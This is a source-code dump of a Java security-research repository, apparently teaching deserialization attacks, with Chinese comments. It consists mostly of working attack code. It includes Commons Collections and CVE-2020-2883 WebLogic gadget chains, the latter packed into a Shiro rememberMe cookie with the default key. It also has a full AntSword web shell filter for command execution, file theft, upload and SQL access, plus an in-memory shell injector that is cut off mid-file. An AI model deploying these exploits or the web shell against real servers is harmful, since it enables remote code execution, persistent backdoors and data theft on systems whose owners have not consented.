-------------------------------------------------------------------------------- 1 | package org.chabug.demo; 2 | 3 | import org.apache.commons.collections4.Transformer; 4 | import org.apache.commons.collections4.comparators.TransformingComparator; 5 | import org.apache.commons.collections4.functors.ChainedTransformer; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | import org.chabug.util.Serializables; 8 | import ysoserial.payloads.util.Reflections; 9 | 10 | import java.lang.reflect.Field; 11 | import java.util.PriorityQueue; 12 | 13 | public class MyCC { 14 | public static void main(String[] args) throws Exception { 15 | Transformer[] transformers = new Transformer[]{ 16 | // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() 17 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), 18 | // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) 19 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), 20 | // 调用exec("calc") 21 | new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) 22 | }; 23 | Transformer chain = new ChainedTransformer(transformers); 24 | 25 | Class clazz = ChainedTransformer.class; 26 | Field iTransformers = clazz.getDeclaredField("iTransformers"); 27 | iTransformers.setAccessible(true); 28 | 29 | Transformer[] transformers1 = new Transformer[]{ 30 | new InvokerTransformer("toString", new Class[]{}, new Object[]{}) 31 | }; 32 | ChainedTransformer chain1 = new ChainedTransformer(transformers1); 33 | 34 | final PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain1)); 35 | queue.add("1"); 36 | queue.add("1"); 37 | iTransformers.set(chain1, transformers); 38 | 39 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 40 | queueArray[0] = Runtime.class; 41 | queueArray[1] = 1; 42 | 43 | 44 | byte[] bytes = Serializables.serializeToBytes(queue); 45 | Serializables.deserializeFromBytes(bytes); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/demo/ReflectionDemo.java: -------------------------------------------------------------------------------- 1 | package org.chabug.demo; 2 | 3 | import org.chabug.entity.ReflectionClass; 4 | 5 | import java.lang.reflect.Method; 6 | 7 | public class ReflectionDemo { 8 | public static void main(String[] args) throws Exception { 9 | ReflectionClass demo = new ReflectionClass(); 10 | demo.setName("hello"); 11 | System.out.println(demo.say()); 12 | // demo.evil("calc"); // 不能够调用private方法 13 | 14 | // new 15 | Class aClass = Class.forName("org.chabug.entity.ReflectionClass"); 16 | Object o = aClass.newInstance(); 17 | 18 | // setName("jack") 19 | Method setName = aClass.getDeclaredMethod("setName",String.class); 20 | setName.invoke(o, "jack"); 21 | 22 | // say() 23 | Method say = aClass.getDeclaredMethod("say",null); 24 | Object o1 = say.invoke(o, null); 25 | System.out.println(o1); 26 | 27 | // evil("calc") 28 | // 反射可以修改方法的修饰符来调用private方法 29 | Method evil = aClass.getDeclaredMethod("evil", String.class); 30 | evil.setAccessible(true); 31 | evil.invoke(o,"calc"); 32 | 33 | 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/demo/SerializeAndDeserialize.java: -------------------------------------------------------------------------------- 1 | package org.chabug.demo; 2 | 3 | import org.chabug.entity.Dog; 4 | import org.chabug.entity.Person; 5 | import org.chabug.util.Serializables; 6 | 7 | /* 8 | 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 9 | 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 10 | */ 11 | 12 | public class SerializeAndDeserialize { 13 | 14 | public static void main(String[] args) throws Exception { 15 | byte[] bytes; 16 | String s1 = "I'm a String Object...."; 17 | bytes = Serializables.serializeToBytes(s1); 18 | Object o1 = Serializables.deserializeFromBytes(bytes); 19 | System.out.println(o1); 20 | 21 | String[] s2 = new String[]{"tom", "bob", "jack"}; 22 | bytes = Serializables.serializeToBytes(s2); 23 | String[] o2 = (String[])Serializables.deserializeFromBytes(bytes); 24 | System.out.println(o2); 25 | 26 | int i = 123; 27 | bytes = Serializables.serializeToBytes(i); 28 | int o3 = (Integer) Serializables.deserializeFromBytes(bytes); 29 | System.out.println(o3); 30 | 31 | // 一只名叫woody的狗 32 | Dog dog = new Dog(); 33 | dog.setName("woody"); 34 | 35 | // tom 36 | Person tom = new Person(); 37 | tom.setAge(14); 38 | tom.setName("tom"); 39 | tom.setSex("男"); 40 | tom.setDog(dog); 41 | 42 | bytes = Serializables.serializeToBytes(tom); 43 | Person o = (Person) Serializables.deserializeFromBytes(bytes); 44 | System.out.println(o); 45 | 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/entity/Dog.java: -------------------------------------------------------------------------------- 1 | package org.chabug.entity; 2 | 3 | import java.io.ObjectInputStream; 4 | import java.io.Serializable; 5 | 6 | public class Dog implements Serializable { 7 | String name; 8 | 9 | @Override 10 | public String toString() { 11 | return getName(); 12 | } 13 | 14 | public String getName() { 15 | return name; 16 | } 17 | 18 | public void setName(String name) { 19 | this.name = name; 20 | } 21 | 22 | private void readObject(ObjectInputStream in) throws Exception { 23 | //执行默认的readObject()方法 24 | in.defaultReadObject(); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/entity/EvilClass.java: -------------------------------------------------------------------------------- 1 | package org.chabug.entity; 2 | 3 | import java.io.ObjectInputStream; 4 | import java.io.Serializable; 5 | 6 | public class EvilClass implements Serializable { 7 | String name; 8 | 9 | public EvilClass() { 10 | System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!"); 11 | } 12 | 13 | public EvilClass(String name) { 14 | System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!"); 15 | this.name = name; 16 | } 17 | 18 | public String getName() { 19 | System.out.println(this.getClass() + "的getName被调用!!!!!!"); 20 | return name; 21 | } 22 | 23 | public void setName(String name) { 24 | System.out.println(this.getClass() + "的setName被调用!!!!!!"); 25 | this.name = name; 26 | } 27 | 28 | @Override 29 | public String toString() { 30 | System.out.println(this.getClass() + "的toString()被调用!!!!!!"); 31 | return "EvilClass{" + 32 | "name='" + getName() + '\'' + 33 | '}'; 34 | } 35 | 36 | private void readObject(ObjectInputStream in) throws Exception { 37 | //执行默认的readObject()方法 38 | in.defaultReadObject(); 39 | System.out.println(this.getClass() + "readObject()被调用!!!!!!"); 40 | Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/entity/Person.java: -------------------------------------------------------------------------------- 1 | package org.chabug.entity; 2 | 3 | import java.io.ObjectInputStream; 4 | import java.io.Serializable; 5 | 6 | public class Person implements Serializable { 7 | String name; 8 | String sex; 9 | int age; 10 | Dog dog; 11 | 12 | public Person() { 13 | } 14 | 15 | public Person(String name, String sex, int age, Dog dog) { 16 | this.name = name; 17 | this.sex = sex; 18 | this.age = age; 19 | this.dog = dog; 20 | } 21 | 22 | @Override 23 | public String toString() { 24 | return "Person{" + 25 | "name='" + name + '\'' + 26 | ", sex='" + sex + '\'' + 27 | ", age=" + age + 28 | ", dog=" + dog + 29 | '}'; 30 | } 31 | 32 | public String getName() { 33 | return name; 34 | } 35 | 36 | public void setName(String name) { 37 | this.name = name; 38 | } 39 | 40 | public String getSex() { 41 | return sex; 42 | } 43 | 44 | public void setSex(String sex) { 45 | this.sex = sex; 46 | } 47 | 48 | public int getAge() { 49 | return age; 50 | } 51 | 52 | public void setAge(int age) { 53 | this.age = age; 54 | } 55 | 56 | public Dog getDog() { 57 | return dog; 58 | } 59 | 60 | public void setDog(Dog dog) { 61 | this.dog = dog; 62 | } 63 | 64 | private void readObject(ObjectInputStream in) throws Exception { 65 | //执行默认的readObject()方法 66 | in.defaultReadObject(); 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/entity/ReflectionClass.java: -------------------------------------------------------------------------------- 1 | package org.chabug.entity; 2 | 3 | import java.io.IOException; 4 | 5 | public class ReflectionClass { 6 | String name; 7 | 8 | public ReflectionClass(String name) { 9 | this.name = name; 10 | } 11 | 12 | public ReflectionClass() { 13 | } 14 | 15 | public String say() { 16 | return this.name; 17 | } 18 | 19 | private void evil(String cmd) { 20 | try { 21 | Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}); 22 | } catch (IOException e) { 23 | e.printStackTrace(); 24 | } 25 | } 26 | 27 | @Override 28 | public String toString() { 29 | return "ReflectionClass{" + 30 | "name='" + name + '\'' + 31 | '}'; 32 | } 33 | 34 | public String getName() { 35 | return name; 36 | } 37 | 38 | public void setName(String name) { 39 | this.name = name; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/loader/BytecodeLoaderLoader.java: -------------------------------------------------------------------------------- 1 | package org.chabug.loader; 2 | 3 | import org.python.util.PythonInterpreter; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.File; 7 | import java.io.FileInputStream; 8 | 9 | public class BytecodeLoaderLoader { 10 | public static void main(String[] args) throws Exception { 11 | String className = "org.chabug.demo.Calc"; 12 | byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class"); 13 | String classBytes = ""; 14 | for (byte b : bytes) { 15 | classBytes += String.format("%s%s", b, ","); 16 | } 17 | String s = String.format("from org.python.core import BytecodeLoader;\n" + 18 | "from jarray import array\n" + 19 | "myList = [%s]\n" + 20 | "bb = array( myList, 'b')\n" + 21 | "BytecodeLoader.makeClass(\"%s\",None,bb).getConstructor([]).newInstance([]);", classBytes, className); 22 | PythonInterpreter instance = PythonInterpreter.class.getConstructor(null).newInstance(); 23 | instance.exec(s); 24 | 25 | } 26 | 27 | public static byte[] getBytesByFile(String pathStr) { 28 | File file = new File(pathStr); 29 | try { 30 | FileInputStream fis = new FileInputStream(file); 31 | ByteArrayOutputStream bos = new ByteArrayOutputStream(1000); 32 | byte[] b = new byte[1000]; 33 | int n; 34 | while ((n = fis.read(b)) != -1) { 35 | bos.write(b, 0, n); 36 | } 37 | fis.close(); 38 | byte[] data = bos.toByteArray(); 39 | bos.close(); 40 | return data; 41 | } catch (Exception e) { 42 | e.printStackTrace(); 43 | } 44 | return null; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/loader/MyLoader.java: -------------------------------------------------------------------------------- 1 | package org.chabug.loader; 2 | 3 | import static org.chabug.loader.BytecodeLoaderLoader.getBytesByFile; 4 | 5 | public class MyLoader extends ClassLoader { 6 | public static String className = "org.chabug.demo.Calc"; 7 | public static byte[] bytes = getBytesByFile("E:\\code\\java\\JavaSerialize\\target\\classes\\org\\chabug\\demo\\Calc.class"); 8 | 9 | public static void main(String[] args) throws Exception { 10 | new MyLoader().loadClass(className).newInstance(); 11 | } 12 | 13 | @Override 14 | public Class findClass(String name) throws ClassNotFoundException { 15 | // 只处理TestHelloWorld类 16 | if (name.equals(className)) { 17 | // 调用JVM的native方法定义TestHelloWorld类 18 | return defineClass(className, bytes, 0, bytes.length); 19 | } 20 | 21 | return super.findClass(name); 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/loader/URLClassLoaderDemo.java: -------------------------------------------------------------------------------- 1 | package org.chabug.loader; 2 | 3 | import java.net.URL; 4 | import java.net.URLClassLoader; 5 | 6 | public class URLClassLoaderDemo { 7 | public static void main(String[] args) throws Exception { 8 | // URL url = new URL("https://baidu.com/cmd.jar"); // 也可以加载远程jar 9 | URL url = new URL("file:///E:/code/java/JavaSerialize/calc.jar"); 10 | 11 | // 创建URLClassLoader对象,并加载远程jar包 12 | URLClassLoader ucl = new URLClassLoader(new URL[]{url}); 13 | 14 | // 通过URLClassLoader加载jar包 15 | Class aClass = ucl.loadClass("org.chabug.demo.Calc"); 16 | aClass.newInstance(); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/memshell/AntSwordFilterShell.java: -------------------------------------------------------------------------------- 1 | package org.chabug.memshell; 2 | 3 | import javax.servlet.*; 4 | import java.io.*; 5 | import java.net.HttpURLConnection; 6 | import java.net.URL; 7 | import java.sql.*; 8 | import java.text.SimpleDateFormat; 9 | 10 | public class AntSwordFilterShell implements Filter{ 11 | 12 | String Pwd = "th1sIsMySecretPassW0rd!"; //连接密码 13 | String encoder = ""; // default 14 | String cs = "UTF-8"; // 脚本自身编码 15 | 16 | String EC(String s) throws Exception { 17 | if (encoder.equals("hex") || encoder == "hex") return s; 18 | return new String(s.getBytes("ISO-8859-1"), cs); 19 | } 20 | 21 | String showDatabases(String encode, String conn) throws Exception { 22 | String sql = "show databases"; // mysql 23 | String columnsep = "\t"; 24 | String rowsep = ""; 25 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 26 | } 27 | 28 | String showTables(String encode, String conn, String dbname) throws Exception { 29 | String sql = "show tables from " + dbname; // mysql 30 | String columnsep = "\t"; 31 | String rowsep = ""; 32 | return executeSQL(encode, conn, sql, columnsep, rowsep, false); 33 | } 34 | 35 | String showColumns(String encode, String conn, String dbname, String table) throws Exception { 36 | String columnsep = "\t"; 37 | String rowsep = ""; 38 | String sql = "select * from " + dbname + "." + table + " limit 0,0"; // mysql 39 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 40 | } 41 | 42 | String query(String encode, String conn, String sql) throws Exception { 43 | String columnsep = "\t|\t"; // general 44 | String rowsep = "\r\n"; 45 | return executeSQL(encode, conn, sql, columnsep, rowsep, true); 46 | } 47 | 48 | String executeSQL(String encode, String conn, String sql, String columnsep, String rowsep, boolean needcoluname) 49 | throws Exception { 50 | String ret = ""; 51 | conn = (EC(conn)); 52 | String[] x = conn.trim().replace("\r\n", "\n").split("\n"); 53 | Class.forName(x[0].trim()); 54 | String url = x[1] + "&characterEncoding=" + decode(EC(encode), encoder); 55 | Connection c = DriverManager.getConnection(url); 56 | Statement stmt = c.createStatement(); 57 | ResultSet rs = stmt.executeQuery(sql); 58 | ResultSetMetaData rsmd = rs.getMetaData(); 59 | 60 | if (needcoluname) { 61 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 62 | String columnName = rsmd.getColumnName(i); 63 | ret += columnName + columnsep; 64 | } 65 | ret += rowsep; 66 | } 67 | 68 | while (rs.next()) { 69 | for (int i = 1; i <= rsmd.getColumnCount(); i++) { 70 | String columnValue = rs.getString(i); 71 | ret += columnValue + columnsep; 72 | } 73 | ret += rowsep; 74 | } 75 | return ret; 76 | } 77 | 78 | String WwwRootPathCode(ServletRequest r) throws Exception { 79 | // String d = r.getSession().getServletContext().getRealPath("/"); 80 | String d = this.getClass().getClassLoader().getResource("/").getPath(); 81 | String s = ""; 82 | if (!d.substring(0, 1).equals("/")) { 83 | File[] roots = File.listRoots(); 84 | for (int i = 0; i < roots.length; i++) { 85 | s += roots[i].toString().substring(0, 2) + ""; 86 | } 87 | } else { 88 | s += "/"; 89 | } 90 | return s; 91 | } 92 | 93 | String FileTreeCode(String dirPath) throws Exception { 94 | File oF = new File(dirPath), l[] = oF.listFiles(); 95 | String s = "", sT, sQ, sF = ""; 96 | java.util.Date dt; 97 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 98 | for (int i = 0; i < l.length; i++) { 99 | dt = new java.util.Date(l[i].lastModified()); 100 | sT = fm.format(dt); 101 | sQ = l[i].canRead() ? "R" : ""; 102 | sQ += l[i].canWrite() ? " W" : ""; 103 | if (l[i].isDirectory()) { 104 | s += l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 105 | } else { 106 | sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; 107 | } 108 | } 109 | return s += sF; 110 | } 111 | 112 | String ReadFileCode(String filePath) throws Exception { 113 | String l = "", s = ""; 114 | BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(filePath)))); 115 | while ((l = br.readLine()) != null) { 116 | s += l + "\r\n"; 117 | } 118 | br.close(); 119 | return s; 120 | } 121 | 122 | String WriteFileCode(String filePath, String fileContext) throws Exception { 123 | BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(filePath)))); 124 | bw.write(fileContext); 125 | bw.close(); 126 | return "1"; 127 | } 128 | 129 | String DeleteFileOrDirCode(String fileOrDirPath) throws Exception { 130 | File f = new File(fileOrDirPath); 131 | if (f.isDirectory()) { 132 | File x[] = f.listFiles(); 133 | for (int k = 0; k < x.length; k++) { 134 | if (!x[k].delete()) { 135 | DeleteFileOrDirCode(x[k].getPath()); 136 | } 137 | } 138 | } 139 | f.delete(); 140 | return "1"; 141 | } 142 | 143 | void DownloadFileCode(String filePath, ServletResponse r) throws Exception { 144 | int n; 145 | byte[] b = new byte[512]; 146 | r.reset(); 147 | ServletOutputStream os = r.getOutputStream(); 148 | BufferedInputStream is = new BufferedInputStream(new FileInputStream(filePath)); 149 | os.write(("->|").getBytes(), 0, 3); 150 | while ((n = is.read(b, 0, 512)) != -1) { 151 | os.write(b, 0, n); 152 | } 153 | os.write(("|<-").getBytes(), 0, 3); 154 | os.close(); 155 | is.close(); 156 | } 157 | 158 | String UploadFileCode(String savefilePath, String fileHexContext) throws Exception { 159 | String h = "0123456789ABCDEF"; 160 | File f = new File(savefilePath); 161 | f.createNewFile(); 162 | FileOutputStream os = new FileOutputStream(f); 163 | for (int i = 0; i < fileHexContext.length(); i += 2) { 164 | os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1)))); 165 | } 166 | os.close(); 167 | return "1"; 168 | } 169 | 170 | String CopyFileOrDirCode(String sourceFilePath, String targetFilePath) throws Exception { 171 | File sf = new File(sourceFilePath), df = new File(targetFilePath); 172 | if (sf.isDirectory()) { 173 | if (!df.exists()) { 174 | df.mkdir(); 175 | } 176 | File z[] = sf.listFiles(); 177 | for (int j = 0; j < z.length; j++) { 178 | CopyFileOrDirCode(sourceFilePath + "/" + z[j].getName(), targetFilePath + "/" + z[j].getName()); 179 | } 180 | } else { 181 | FileInputStream is = new FileInputStream(sf); 182 | FileOutputStream os = new FileOutputStream(df); 183 | int n; 184 | byte[] b = new byte[1024]; 185 | while ((n = is.read(b, 0, 1024)) != -1) { 186 | os.write(b, 0, n); 187 | } 188 | is.close(); 189 | os.close(); 190 | } 191 | return "1"; 192 | } 193 | 194 | String RenameFileOrDirCode(String oldName, String newName) throws Exception { 195 | File sf = new File(oldName), df = new File(newName); 196 | sf.renameTo(df); 197 | return "1"; 198 | } 199 | 200 | String CreateDirCode(String dirPath) throws Exception { 201 | File f = new File(dirPath); 202 | f.mkdir(); 203 | return "1"; 204 | } 205 | 206 | String ModifyFileOrDirTimeCode(String fileOrDirPath, String aTime) throws Exception { 207 | File f = new File(fileOrDirPath); 208 | SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 209 | java.util.Date dt = fm.parse(aTime); 210 | f.setLastModified(dt.getTime()); 211 | return "1"; 212 | } 213 | 214 | String WgetCode(String urlPath, String saveFilePath) throws Exception { 215 | URL u = new URL(urlPath); 216 | int n = 0; 217 | FileOutputStream os = new FileOutputStream(saveFilePath); 218 | HttpURLConnection h = (HttpURLConnection) u.openConnection(); 219 | InputStream is = h.getInputStream(); 220 | byte[] b = new byte[512]; 221 | while ((n = is.read(b)) != -1) { 222 | os.write(b, 0, n); 223 | } 224 | os.close(); 225 | is.close(); 226 | h.disconnect(); 227 | return "1"; 228 | } 229 | 230 | String SysInfoCode(ServletRequest r) throws Exception { 231 | // String d = r.getServletContext().getRealPath("/"); 232 | String d = this.getClass().getClassLoader().getResource("/").getPath(); 233 | String serverInfo = System.getProperty("os.name"); 234 | String separator = File.separator; 235 | String user = System.getProperty("user.name"); 236 | String driverlist = WwwRootPathCode(r); 237 | return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user; 238 | } 239 | 240 | boolean isWin() { 241 | String osname = System.getProperty("os.name"); 242 | osname = osname.toLowerCase(); 243 | if (osname.startsWith("win")) 244 | return true; 245 | return false; 246 | } 247 | 248 | String ExecuteCommandCode(String cmdPath, String command) throws Exception { 249 | StringBuffer sb = new StringBuffer(""); 250 | String[] c = {cmdPath, !isWin() ? "-c" : "/c", command}; 251 | Process p = Runtime.getRuntime().exec(c); 252 | CopyInputStream(p.getInputStream(), sb); 253 | CopyInputStream(p.getErrorStream(), sb); 254 | return sb.toString(); 255 | } 256 | 257 | String decode(String str) { 258 | byte[] bt = null; 259 | try { 260 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); 261 | bt = decoder.decodeBuffer(str); 262 | } catch (IOException e) { 263 | e.printStackTrace(); 264 | } 265 | return new String(bt); 266 | } 267 | 268 | String decode(String str, String encode) { 269 | if (encode.equals("hex") || encode == "hex") { 270 | if (str == "null" || str.equals("null")) { 271 | return ""; 272 | } 273 | StringBuilder sb = new StringBuilder(); 274 | StringBuilder temp = new StringBuilder(); 275 | try { 276 | for (int i = 0; i < str.length() - 1; i += 2) { 277 | String output = str.substring(i, (i + 2)); 278 | int decimal = Integer.parseInt(output, 16); 279 | sb.append((char) decimal); 280 | temp.append(decimal); 281 | } 282 | } catch (Exception e) { 283 | e.printStackTrace(); 284 | } 285 | return sb.toString(); 286 | } else if (encode.equals("base64") || encode == "base64") { 287 | byte[] bt = null; 288 | try { 289 | sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder(); 290 | bt = decoder.decodeBuffer(str); 291 | } catch (IOException e) { 292 | e.printStackTrace(); 293 | } 294 | return new String(bt); 295 | } 296 | return str; 297 | } 298 | 299 | void CopyInputStream(InputStream is, StringBuffer sb) throws Exception { 300 | String l; 301 | BufferedReader br = new BufferedReader(new InputStreamReader(is)); 302 | while ((l = br.readLine()) != null) { 303 | sb.append(l + "\r\n"); 304 | } 305 | br.close(); 306 | } 307 | 308 | public void init(FilterConfig f) throws ServletException { 309 | } 310 | 311 | 312 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 313 | if (request.getParameter("size") != null) { 314 | response.setContentType("text/html"); 315 | response.setCharacterEncoding(cs); 316 | StringBuffer sb = new StringBuffer(""); 317 | try { 318 | String funccode = EC(request.getParameter(Pwd) + ""); 319 | String z0 = decode(EC(request.getParameter("z0") + ""), encoder); 320 | String z1 = decode(EC(request.getParameter("z1") + ""), encoder); 321 | String z2 = decode(EC(request.getParameter("z2") + ""), encoder); 322 | String z3 = decode(EC(request.getParameter("z3") + ""), encoder); 323 | String[] pars = {z0, z1, z2, z3}; 324 | sb.append("->|"); 325 | 326 | if (funccode.equals("B")) { 327 | sb.append(FileTreeCode(pars[1])); 328 | } else if (funccode.equals("C")) { 329 | sb.append(ReadFileCode(pars[1])); 330 | } else if (funccode.equals("D")) { 331 | sb.append(WriteFileCode(pars[1], pars[2])); 332 | } else if (funccode.equals("E")) { 333 | sb.append(DeleteFileOrDirCode(pars[1])); 334 | } else if (funccode.equals("F")) { 335 | DownloadFileCode(pars[1], response); 336 | } else if (funccode.equals("U")) { 337 | sb.append(UploadFileCode(pars[1], pars[2])); 338 | } else if (funccode.equals("H")) { 339 | sb.append(CopyFileOrDirCode(pars[1], pars[2])); 340 | } else if (funccode.equals("I")) { 341 | sb.append(RenameFileOrDirCode(pars[1], pars[2])); 342 | } else if (funccode.equals("J")) { 343 | sb.append(CreateDirCode(pars[1])); 344 | } else if (funccode.equals("K")) { 345 | sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2])); 346 | } else if (funccode.equals("L")) { 347 | sb.append(WgetCode(pars[1], pars[2])); 348 | } else if (funccode.equals("M")) { 349 | sb.append(ExecuteCommandCode(pars[1], pars[2])); 350 | } else if (funccode.equals("N")) { 351 | sb.append(showDatabases(pars[0], pars[1])); 352 | } else if (funccode.equals("O")) { 353 | sb.append(showTables(pars[0], pars[1], pars[2])); 354 | } else if (funccode.equals("P")) { 355 | sb.append(showColumns(pars[0], pars[1], pars[2], pars[3])); 356 | } else if (funccode.equals("Q")) { 357 | sb.append(query(pars[0], pars[1], pars[2])); 358 | } else if (funccode.equals("A")) { 359 | sb.append(SysInfoCode(request)); 360 | } 361 | } catch (Exception e) { 362 | sb.append("ERROR" + "://" + e.toString()); 363 | e.printStackTrace(); 364 | } 365 | sb.append("|<-"); 366 | response.getWriter().print(sb.toString()); 367 | } else { 368 | chain.doFilter(request, response); 369 | } 370 | } 371 | 372 | public void destroy() { 373 | } 374 | } 375 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/memshell/CVE_2020_2883_URLClassLoader.java: -------------------------------------------------------------------------------- 1 | package org.chabug.memshell; 2 | 3 | import com.tangosol.util.ValueExtractor; 4 | import com.tangosol.util.comparator.ExtractorComparator; 5 | import com.tangosol.util.extractor.ChainedExtractor; 6 | import com.tangosol.util.extractor.ReflectionExtractor; 7 | import org.chabug.util.EncryptUtil; 8 | import org.chabug.util.Serializables; 9 | import ysoserial.payloads.util.Reflections; 10 | 11 | import java.lang.reflect.Field; 12 | import java.net.URL; 13 | import java.net.URLClassLoader; 14 | import java.util.PriorityQueue; 15 | 16 | public class CVE_2020_2883_URLClassLoader { 17 | public static void main(String[] args) { 18 | try { 19 | ReflectionExtractor extractor1 = new ReflectionExtractor( 20 | "getConstructor", 21 | new Object[]{new Class[]{URL[].class}} 22 | ); 23 | 24 | ReflectionExtractor extractor2 = new ReflectionExtractor( 25 | "newInstance", 26 | new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}} 27 | ); 28 | 29 | // load filter shell 30 | ReflectionExtractor extractor3 = new ReflectionExtractor( 31 | "loadClass", 32 | new Object[]{"org.chabug.memshell.InjectFilterShell"} 33 | ); 34 | 35 | ReflectionExtractor extractor4 = new ReflectionExtractor( 36 | "getConstructor", 37 | new Object[]{new Class[]{}} 38 | ); 39 | 40 | ReflectionExtractor extractor5 = new ReflectionExtractor( 41 | "newInstance", 42 | new Object[]{new Object[]{}} 43 | ); 44 | 45 | 46 | ValueExtractor[] valueExtractors = new ValueExtractor[]{ 47 | extractor1, 48 | extractor2, 49 | extractor3, 50 | extractor4, 51 | extractor5, 52 | }; 53 | Class clazz = ChainedExtractor.class.getSuperclass(); 54 | Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); 55 | m_aExtractor.setAccessible(true); 56 | 57 | ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); 58 | ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ 59 | reflectionExtractor 60 | }; 61 | 62 | ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); 63 | 64 | PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); 65 | queue.add("1"); 66 | queue.add("1"); 67 | m_aExtractor.set(chainedExtractor1, valueExtractors); 68 | 69 | Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 70 | queueArray[0] = URLClassLoader.class; 71 | queueArray[1] = "1"; 72 | 73 | byte[] buf = Serializables.serializeToBytes(queue); 74 | String key = "kPH+bIxk5D2deZiIxcaaaA=="; 75 | String rememberMe = EncryptUtil.shiroEncrypt(key, buf); 76 | System.out.println(rememberMe); 77 | } catch (Exception e) { 78 | e.printStackTrace(); 79 | } 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/org/chabug/memshell/InjectFilterShell.java: -------------------------------------------------------------------------------- 1 | package org.chabug.memshell; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.File; 5 | import java.io.FileInputStream; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.Method; 8 | import java.util.Map; 9 | 10 | public class InjectFilterShell { 11 | static { 12 | try { 13 | Class executeThread = Class.forName("weblogic.work.ExecuteThread"); 14 | Method m = executeThread.getDeclaredMethod("getCurrentWork"); 15 | Object currentWork = m.invoke(Thread.currentThread()); 16 | 17 | Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler"); 18 | connectionHandlerF.setAccessible(true); 19 | Object obj = connectionHandlerF.get(currentWork); 20 | 21 | Field requestF = obj.getClass().getDeclaredField("request"); 22 | requestF.setAccessible(true); 23 | obj = requestF.get(obj); 24 | 25 | Field contextF = obj.getClass().getDeclaredField("context"); 26 | contextF.setAccessible(true); 27 | Object context = contextF.get(obj); 28 | 29 | Field classLoaderF = context.getClass().getDeclaredField("classLoader"); 30 | classLoaderF.setAccessible(true); 31 | ClassLoader cl = (ClassLoader) classLoaderF.get(context); 32 | 33 | Field cachedClassesF = cl.getClass().getDeclaredField("cachedClasses"); 34 | cachedClassesF.setAccessible(true); 35 | Object cachedClass = cachedClassesF.get(cl); 36 | 37 | Method getM = cachedClass.getClass().getDeclaredMethod("get", Object.class); 38 | if (getM.invoke(cachedClass, "shell") == null) { 39 | byte[] codeClass = getBytesByFile("C:/Users/Administrator/Desktop/AntSwordFilterShell.class"); 40 | Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 41 | defineClass.setAccessible(true); 42 | Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length); 43 | 44 | String evilName = "gameName" + System.currentTimeMillis(); 45 | String filterName = "gameFilter" + System.currentTimeMillis(); 46 | String[] url = new String[]{"/*"}; 47 | 48 | Method putM = cachedClass.getClass().getDeclaredMethod("put", Object.class, Object.class); 49 | putM.invoke(cachedClass, filterName, evilFilterClass); 50 | Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager"); 51 | Object filterManager = getFilterManagerM.invoke(context); 52 | 53 | Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 54 | registerFilterM.setAccessible(true); 55 | 